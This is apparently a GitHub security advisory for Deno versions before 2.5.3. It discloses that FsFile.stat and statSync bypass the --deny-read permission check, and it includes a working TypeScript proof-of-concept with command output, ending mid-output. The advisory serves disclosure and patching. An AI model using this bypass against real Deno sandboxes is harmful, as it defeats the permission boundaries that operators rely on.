GitHub Security Advisory: GHSA-qq26-84mh-26j9
Package: deno (RUST)
Severity: LOW (CVSS 3.3)
CWE: CWE-269: Improper Privilege Management
Vulnerable versions: < 2.5.3
Patched in: 2.5.3

Summary: Deno's --deny-read check does not prevent permission bypass

Details:
### Summary 

`Deno.FsFile.prototype.stat` and `Deno.FsFile.prototype.statSync` are not limited by the permission model check `--deny-read=./`.

It's possible to retrieve stats from files that the user do not have explicit read access to  (the script is executed with `--deny-read=./`)

Similar APIs like `Deno.stat` and `Deno.statSync` require `allow-read` permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model.

### PoC

Setup:
```
deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3

touch test1.txt
```

- `poc_file.stat.ts`
```ts
// touch test1.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
// deno run --allow-write=./ poc_file.stat.ts 1
async function poc1(){
    using file = await Deno.open("./test1.txt", { read: false, write: true});
    const fileInfo = await file.stat();
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
// deno run --allow-write=./ poc_file.stat.ts 2
function poc2(){
    using file = Deno.openSync("./test1.txt", { read: false, write: true});
    const fileInfo = file.statSync();
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3
// deno run --allow-write=./ poc_file.stat.ts 3
async function poc3(){
    // not executed
    const fileInfo = await Deno.stat("./test1.txt");
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4
// deno run --allow-write=./ poc_file.stat.ts 4
function poc4(){
    // not executed
    const fileInfo = Deno.statSync("./test1.txt");
    console.log(fileInfo.isFile);
}


async function main(){
    const poc = Deno.args[0] || 1;

    const status = await Deno.permissions.query({ name: "read", path: "./" });
    console.log(status);
    switch (poc) {
        case "1":
            poc1()
            break;
        case "2":
            poc2()
            break;
        case "3":
            poc3()
            break;
        case "4":
            poc4()
            break;
        default:
            poc1()
    }
}

main()
```


Output:
- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1`
```
PermissionStatus { state: "denied", onchange: null }
true
```

- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2`
```
PermissionStatus { state: "denied", onchange: null }
true
```

- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3`
```
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
    const file